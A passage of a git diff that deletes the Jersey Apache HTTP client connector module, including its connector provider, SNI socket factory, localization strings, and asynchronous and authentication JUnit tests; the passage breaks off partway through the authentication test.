-            super(sslContext, supportedProtocols, supportedCipherSuites, hostnameVerifier);
-        }
-
-        public SniSSLConnectionSocketFactory(final javax.net.ssl.SSLSocketFactory socketFactory,
-                                             final String[] supportedProtocols,
-                                             final String[] supportedCipherSuites,
-                                             final HostnameVerifier hostnameVerifier) {
-            super(socketFactory, supportedProtocols, supportedCipherSuites, hostnameVerifier);
-        }
-
-        public SniSSLConnectionSocketFactory(
-                final SSLContext sslContext, final HostnameVerifier hostnameVerifier) {
-            super(sslContext, hostnameVerifier);
-        }
-
-        @Override
-        public Socket createLayeredSocket(
-                final Socket socket,
-                final String target,
-                final int port,
-                final HttpContext context) throws IOException {
-            httpContexts.set(context);
-            try {
-                return super.createLayeredSocket(socket, target, port, context);
-            } finally {
-                httpContexts.remove();
-            }
-        }
-
-        @Override
-        protected void prepareSocket(SSLSocket socket) throws IOException {
-            HttpContext context = httpContexts.get();
-
-            if (context != null) {
-                Object objectRequest = context.getAttribute(JERSEY_REQUEST_ATTR_NAME);
-                if (objectRequest != null) {
-                    ClientRequest clientRequest = (ClientRequest) objectRequest;
-                    SSLParamConfigurator sniConfig = SSLParamConfigurator.builder().request(clientRequest)
-                            .setSNIHostName(clientRequest).build();
-                    sniConfig.setSNIServerName(socket);
-                }
-            }
-        }
-    }
-
-    private static class CancellableInputStream extends InputStreamWrapper {
-        private final InputStream in;
-        private final Supplier<Boolean> isCancelled;
-
-        private CancellableInputStream(InputStream in, Supplier<Boolean> isCancelled) {
-            this.in = in;
-            this.isCancelled = isCancelled;
-        }
-
-        @Override
-        protected InputStream getWrapped() {
-            return in;
-        }
-
-        @Override
-        protected InputStream getWrappedIOE() throws IOException {
-            if (isCancelled.get()) {
-                throw new IOException(new CancellationException());
-            }
-            return in;
-        }
-    }
-}
diff --git a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnectorProvider.java b/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnectorProvider.java
deleted file mode 100644
index 8aa3877..0000000
--- a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnectorProvider.java
+++ /dev/null
@@ -1,162 +0,0 @@
-/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configurable;
-import jakarta.ws.rs.core.Configuration;
-
-import org.glassfish.jersey.client.Initializable;
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.client.spi.ConnectorProvider;
-
-import org.apache.http.client.CookieStore;
-import org.apache.http.client.HttpClient;
-
-/**
- * Connector provider for Jersey {@link Connector connectors} that utilize
- * Apache HTTP Client to send and receive HTTP request and responses.
- * <p>
- * The following connector configuration properties are supported:
- * <ul>
- * <li>{@link ApacheClientProperties#CONNECTION_CLOSING_STRATEGY}</li>
- * <li>{@link ApacheClientProperties#CONNECTION_MANAGER}</li>
- * <li>{@link ApacheClientProperties#CONNECTION_MANAGER_SHARED}</li>
- * <li>{@link ApacheClientProperties#CONNECTION_CLOSING_STRATEGY}</li>
- * <li>{@link ApacheClientProperties#CREDENTIALS_PROVIDER}</li>
- * <li>{@link ApacheClientProperties#DISABLE_COOKIES}</li>
- * <li>{@link ApacheClientProperties#KEEPALIVE_STRATEGY}</li>
- * <li>{@link ApacheClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING}
- * - default value is {@link org.glassfish.jersey.client.RequestEntityProcessing#CHUNKED}</li>
- * <li>{@link ApacheClientProperties#REQUEST_CONFIG}</li>
- * <li>{@link ApacheClientProperties#RETRY_HANDLER}</li>
- * <li>{@link ApacheClientProperties#REUSE_STRATEGY}</li>
- * <li>{@link ApacheClientProperties#USE_SYSTEM_PROPERTIES}</li>
- * </ul>
- * </p>
- * <p>
- * Connector instances created via this connector provider use
- * {@link org.glassfish.jersey.client.RequestEntityProcessing#CHUNKED chunked encoding} as a default setting.
- * This can be overridden by the {@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING}.
- * By default the {@link org.glassfish.jersey.client.ClientProperties#CHUNKED_ENCODING_SIZE} property is only supported
- * when using the default {@code org.apache.http.conn.HttpClientConnectionManager} instance. If custom
- * connection manager is used, then chunked encoding size can be set by providing a custom
- * {@code org.apache.http.HttpClientConnection} (via custom {@code org.apache.http.impl.conn.ManagedHttpClientConnectionFactory})
- * and overriding it's {@code createOutputStream} method.
- * </p>
- * <p>
- * Use of authorization by the AHC-based connectors is dependent on the chunk encoding setting.
- * If the entity buffering is enabled, the entity is buffered and authorization can be performed
- * automatically in response to a 401 by sending the request again. When entity buffering
- * is disabled (chunked encoding is used) then the property
- * {@link org.glassfish.jersey.apache.connector.ApacheClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION} must
- * be set to {@code true}.
- * </p>
- * <p>
- * If a {@link org.glassfish.jersey.client.ClientResponse} is obtained and an entity is not read from the response then
- * {@link org.glassfish.jersey.client.ClientResponse#close()} MUST be called after processing the response to release
- * connection-based resources.
- * </p>
- * <p>
- * Registration of {@link ApacheHttpClientBuilderConfigurator} instance on the
- * {@link jakarta.ws.rs.client.Client#register(Object) Client} is supported. A configuration provided by
- * {@link ApacheHttpClientBuilderConfigurator} will override the {@link org.apache.http.impl.client.HttpClientBuilder}
- * configuration set by using the properties.
- * </p>
- * <p>
- * If a response entity is obtained that is an instance of {@link java.io.Closeable}
- * then the instance MUST be closed after processing the entity to release
- * connection-based resources.
- * <p/>
- * <p>
- * The following methods are currently supported: HEAD, GET, POST, PUT, DELETE, OPTIONS, PATCH and TRACE.
- * <p/>
- *
- * @author Pavel Bucek
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author jorgeluisw at mac.com
- * @author Marek Potociar
- * @author Paul Sandoz
- * @author Maksim Mukosey (mmukosey at gmail.com)
- * @since 2.5
- */
-public class ApacheConnectorProvider implements ConnectorProvider {
-
-    @Override
-    public Connector getConnector(final Client client, final Configuration runtimeConfig) {
-        return new ApacheConnector(client, runtimeConfig);
-    }
-
-    /**
-     * Retrieve the underlying Apache {@link HttpClient} instance from
-     * {@link org.glassfish.jersey.client.JerseyClient} or {@link org.glassfish.jersey.client.JerseyWebTarget}
-     * configured to use {@code ApacheConnectorProvider}.
-     *
-     * @param component {@code JerseyClient} or {@code JerseyWebTarget} instance that is configured to use
-     *                  {@code ApacheConnectorProvider}.
-     * @return underlying Apache {@code HttpClient} instance.
-     *
-     * @throws java.lang.IllegalArgumentException in case the {@code component} is neither {@code JerseyClient}
-     *                                            nor {@code JerseyWebTarget} instance or in case the component
-     *                                            is not configured to use a {@code ApacheConnectorProvider}.
-     * @since 2.8
-     */
-    public static HttpClient getHttpClient(final Configurable<?> component) {
-        return getConnector(component).getHttpClient();
-    }
-
-    /**
-     * Retrieve the underlying Apache {@link CookieStore} instance from
-     * {@link org.glassfish.jersey.client.JerseyClient} or {@link org.glassfish.jersey.client.JerseyWebTarget}
-     * configured to use {@code ApacheConnectorProvider}.
-     *
-     * @param component {@code JerseyClient} or {@code JerseyWebTarget} instance that is configured to use
-     *                  {@code ApacheConnectorProvider}.
-     * @return underlying Apache {@code CookieStore} instance.
-     * @throws java.lang.IllegalArgumentException in case the {@code component} is neither {@code JerseyClient}
-     *                                            nor {@code JerseyWebTarget} instance or in case the component
-     *                                            is not configured to use a {@code ApacheConnectorProvider}.
-     * @since 2.16
-     */
-    public static CookieStore getCookieStore(final Configurable<?> component) {
-        return getConnector(component).getCookieStore();
-    }
-
-    private static ApacheConnector getConnector(final Configurable<?> component) {
-        if (!(component instanceof Initializable)) {
-            throw new IllegalArgumentException(
-                    LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
-        }
-
-        final Initializable<?> initializable = (Initializable<?>) component;
-        Connector connector = initializable.getConfiguration().getConnector();
-        if (connector == null) {
-            initializable.preInitialize();
-            connector = initializable.getConfiguration().getConnector();
-        }
-
-        if (connector instanceof ApacheConnector) {
-            return (ApacheConnector) connector;
-        } else {
-            throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
-        }
-    }
-}
diff --git a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheHttpClientBuilderConfigurator.java b/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheHttpClientBuilderConfigurator.java
deleted file mode 100644
index 251a5c4..0000000
--- a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheHttpClientBuilderConfigurator.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import org.apache.http.impl.client.HttpClientBuilder;
-import org.glassfish.jersey.spi.Contract;
-
-/**
- * A callback interface used to configure {@link org.apache.http.impl.client.HttpClientBuilder}. It is called immediately before
- * the {@link ApacheConnectorProvider} creates {@link org.apache.http.client.HttpClient}, after the
- * {@link org.apache.http.impl.client.HttpClientBuilder} is configured using the properties.
- */
-@Contract
-public interface ApacheHttpClientBuilderConfigurator {
-    /**
-     * A callback method to configure the {@link org.apache.http.impl.client.HttpClientBuilder}
-     * @param httpClientBuilder {@link org.apache.http.impl.client.HttpClientBuilder} object to be further configured
-     * @return the configured {@link org.apache.http.impl.client.HttpClientBuilder}. If {@code null} is returned the
-     * {@code httpClientBuilder} is used by {@link ApacheConnectorProvider} instead.
-     */
-    HttpClientBuilder configure(HttpClientBuilder httpClientBuilder);
-}
diff --git a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/package-info.java b/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/package-info.java
deleted file mode 100644
index fb1072d..0000000
--- a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/package-info.java
+++ /dev/null
@@ -1,21 +0,0 @@
-/*
- * Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-/**
- * Jersey client {@link org.glassfish.jersey.client.spi.Connector connector} based on the
- * Apache Http Client.
- */
-package org.glassfish.jersey.apache.connector;
diff --git a/connectors/apache-connector/src/main/resources/org/glassfish/jersey/apache/connector/localization.properties b/connectors/apache-connector/src/main/resources/org/glassfish/jersey/apache/connector/localization.properties
deleted file mode 100644
index 3b06461..0000000
--- a/connectors/apache-connector/src/main/resources/org/glassfish/jersey/apache/connector/localization.properties
+++ /dev/null
@@ -1,23 +0,0 @@
-#
-# Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-
-error.buffering.entity=Error buffering the entity.
-error.reading.httpentity.stream=Error reading InputStream from HttpEntity: "{0}"
-failed.to.stop.client=Failed to stop the client.
-# {0} - property name, e.g. jersey.config.client.httpclient.connectionManager; {1}, {2} - full class name
-ignoring.value.of.property=Ignoring value of property "{0}" ("{1}") - not instance of "{2}".
-invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget.
-expected.connector.provider.not.used=The supplied component is not configured to use a ApacheConnectorProvider.
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/AsyncTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/AsyncTest.java
deleted file mode 100644
index 06d7a9b..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/AsyncTest.java
+++ /dev/null
@@ -1,243 +0,0 @@
-/*
- * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import java.util.concurrent.Callable;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.container.AsyncResponse;
-import jakarta.ws.rs.container.Suspended;
-import jakarta.ws.rs.container.TimeoutHandler;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.hamcrest.Matchers;
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * Asynchronous connector test.
- *
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Marek Potociar
- */
-public class AsyncTest extends JerseyTest {
-    private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName());
-    private static final String PATH = "async";
-
-    /**
-     * Asynchronous test resource.
-     */
-    @Path(PATH)
-    public static class AsyncResource {
-        /**
-         * Typical long-running operation duration.
-         */
-        public static final long OPERATION_DURATION = 1000;
-
-        /**
-         * Long-running asynchronous post.
-         *
-         * @param asyncResponse async response.
-         * @param id            post request id (received as request payload).
-         */
-        @POST
-        public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) {
-            LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName());
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep()
-                    try {
-                        Thread.sleep(OPERATION_DURATION);
-                        return "DONE-" + id;
-                    } catch (InterruptedException e) {
-                        Thread.currentThread().interrupt();
-                        return "INTERRUPTED-" + id;
-                    } finally {
-                        LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName());
-                    }
-                }
-            }, "async-post-runner-" + id).start();
-        }
-
-        /**
-         * Long-running async get request that times out.
-         *
-         * @param asyncResponse async response.
-         */
-        @GET
-        @Path("timeout")
-        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
-            LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName());
-            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
-
-                @Override
-                public void handleTimeout(AsyncResponse asyncResponse) {
-                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
-                            .entity("Operation time out.").build());
-                }
-            });
-            asyncResponse.setTimeout(1, TimeUnit.SECONDS);
-
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // very expensive operation that typically finishes within 1 second but can take up to 5 seconds,
-                    // simulated using sleep()
-                    try {
-                        Thread.sleep(5 * OPERATION_DURATION);
-                        return "DONE";
-                    } catch (InterruptedException e) {
-                        Thread.currentThread().interrupt();
-                        return "INTERRUPTED";
-                    } finally {
-                        LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName());
-                    }
-                }
-            }).start();
-        }
-
-    }
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(AsyncResource.class)
-                .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-    /**
-     * Test asynchronous POST.
-     *
-     * Send 3 async POST requests and wait to receive the responses. Check the response content and
-     * assert that the operation did not take more than twice as long as a single long operation duration
-     * (this ensures async request execution).
-     *
-     * @throws Exception in case of a test error.
-     */
-    @Test
-    public void testAsyncPost() throws Exception {
-        final long tic = System.currentTimeMillis();
-
-        // Submit requests asynchronously.
-        final Future<Response> rf1 = target(PATH).request().async().post(Entity.text("1"));
-        final Future<Response> rf2 = target(PATH).request().async().post(Entity.text("2"));
-        final Future<Response> rf3 = target(PATH).request().async().post(Entity.text("3"));
-        // get() waits for the response
-
-        // workaround for AHC default connection manager limitation of
-        // only 2 open connections per host that may intermittently block
-        // the test
-        final CountDownLatch latch = new CountDownLatch(3);
-        ExecutorService executor = Executors.newFixedThreadPool(3);
-
-        final Future<String> r1 = executor.submit(new Callable<String>() {
-            @Override
-            public String call() throws Exception {
-                try {
-                    return rf1.get().readEntity(String.class);
-                } finally {
-                    latch.countDown();
-                }
-            }
-        });
-        final Future<String> r2 = executor.submit(new Callable<String>() {
-            @Override
-            public String call() throws Exception {
-                try {
-                    return rf2.get().readEntity(String.class);
-                } finally {
-                    latch.countDown();
-                }
-            }
-        });
-        final Future<String> r3 = executor.submit(new Callable<String>() {
-            @Override
-            public String call() throws Exception {
-                try {
-                    return rf3.get().readEntity(String.class);
-                } finally {
-                    latch.countDown();
-                }
-            }
-        });
-
-        assertTrue(latch.await(5 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS), "Waiting for results has timed out.");
-        final long toc = System.currentTimeMillis();
-
-        assertEquals("DONE-1", r1.get());
-        assertEquals("DONE-2", r2.get());
-        assertEquals("DONE-3", r3.get());
-
-        final int asyncTimeoutMultiplier = getAsyncTimeoutMultiplier();
-        LOGGER.info("Using async timeout multiplier: " + asyncTimeoutMultiplier);
-        assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(4 * AsyncResource.OPERATION_DURATION
-                * asyncTimeoutMultiplier));
-
-    }
-
-    /**
-     * Test accessing an operation that times out on the server.
-     *
-     * @throws Exception in case of a test error.
-     */
-    @Test
-    public void testAsyncGetWithTimeout() throws Exception {
-        final Future<Response> responseFuture = target(PATH).path("timeout").request().async().get();
-        // Request is being processed asynchronously.
-        final Response response = responseFuture.get();
-
-        // get() waits for the response
-        assertEquals(503, response.getStatus());
-        assertEquals("Operation time out.", response.readEntity(String.class));
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/AuthTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/AuthTest.java
deleted file mode 100644
index 0acc2a6..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/AuthTest.java
+++ /dev/null
@@ -1,598 +0,0 @@
-/*
- * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import jakarta.ws.rs.DELETE;
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.WebApplicationException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.UriInfo;
-
-import jakarta.inject.Singleton;
-
-import org.apache.http.impl.client.HttpClientBuilder;
-import org.glassfish.jersey.apache.connector.ApacheClientProperties;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.apache.connector.ApacheHttpClientBuilderConfigurator;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.authentication.HttpAuthenticationFeature;
-import org.glassfish.jersey.client.authentication.ResponseAuthenticationException;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.apache.http.auth.AuthScope;
-import org.apache.http.auth.UsernamePasswordCredentials;
-import org.apache.http.client.CredentialsProvider;
-import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
-import org.junit.jupiter.api.Disabled;
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.junit.jupiter.api.Assertions.fail;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class AuthTest extends JerseyTest {
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(PreemptiveAuthResource.class, AuthResource.class);
-    }
-
-    @Path("/")
-    public static class PreemptiveAuthResource {
-
-        @GET
-        public String get(@Context HttpHeaders h) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            assertNotNull(value);
-            return "GET";
-        }
-
-        @POST
-        public String post(@Context HttpHeaders h, String e) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            assertNotNull(value);
-            return e;
-        }
-    }
-
-    @Test
-    public void testPreemptiveAuth() {
-        CredentialsProvider credentialsProvider = new org.apache.http.impl.client.BasicCredentialsProvider();
-        credentialsProvider.setCredentials(
-                AuthScope.ANY,
-                new UsernamePasswordCredentials("name", "password")
-        );
-
-        ClientConfig cc = new ClientConfig();
-        cc.property(ApacheClientProperties.CREDENTIALS_PROVIDER, credentialsProvider)
-                .property(ApacheClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, true);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-
-        WebTarget r = client.target(getBaseUri());
-        assertEquals("GET", r.request().get(String.class));
-    }
-
-    @Test
-    public void testPreemptiveAuthPost() {
-        CredentialsProvider credentialsProvider = new org.apache.http.impl.client.BasicCredentialsProvider();
-        credentialsProvider.setCredentials(
-                AuthScope.ANY,
-                new UsernamePasswordCredentials("name", "password")
-        );
-
-        ClientConfig cc = new ClientConfig();
-        cc.property(ApacheClientProperties.CREDENTIALS_PROVIDER, credentialsProvider)
-                .property(ApacheClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, true);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-
-        WebTarget r = client.target(getBaseUri());
-        assertEquals("POST", r.request().post(Entity.text("POST"), String.class));
-    }
-
-    @Path("/test")
-    @Singleton
-    public static class AuthResource {
-
-        int requestCount = 0;
-        int queryParamsBasicRequestCount = 0;
-        int queryParamsDigestRequestCount = 0;
-
-        @GET
-        public String get(@Context HttpHeaders h) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-
-            return "GET";
-        }
-
-        @GET
-        @Path("filter")
-        public String getFilter(@Context HttpHeaders h) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-
-            return "GET";
-        }
-
-        @GET
-        @Path("basicAndDigest")
-        public String getBasicAndDigest(@Context HttpHeaders h) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"")
-                            .header("WWW-Authenticate", "Digest realm=\"WallyWorld\"")
-                            .entity("Forbidden").build());
-            } else if (value.startsWith("Basic")) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"")
-                            .header("WWW-Authenticate", "Digest realm=\"WallyWorld\"")
-                            .entity("Digest authentication expected").build());
-            }
-
-            return "GET";
-        }
-
-        @GET
-        @Path("noauth")
-        public String get() {
-            return "GET";
-        }
-
-        @GET
-        @Path("digest")
-        public String getDigest(@Context HttpHeaders h) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Digest realm=\"WallyWorld\"")
-                            .entity("Forbidden").build());
-            }
-
-            return "GET";
-        }
-
-        @POST
-        public String post(@Context HttpHeaders h, String e) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-
-            return e;
-        }
-
-        @POST
-        @Path("filter")
-        public String postFilter(@Context HttpHeaders h, String e) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-
-            return e;
-        }
-
-        @DELETE
-        public void delete(@Context HttpHeaders h) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-        }
-
-        @DELETE
-        @Path("filter")
-        public void deleteFilter(@Context HttpHeaders h) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-        }
-
-        @DELETE
-        @Path("filter/withEntity")
-        public String deleteFilterWithEntity(@Context HttpHeaders h, String e) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-
-            return e;
-        }
-
-        @GET
-        @Path("content")
-        public String getWithContent(@Context HttpHeaders h) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"")
-                            .entity("Forbidden").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-
-            return "GET";
-        }
-
-        @GET
-        @Path("contentDigestAuth")
-        public String getWithContentDigestAuth(@Context HttpHeaders h) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Digest nonce=\"1234\"")
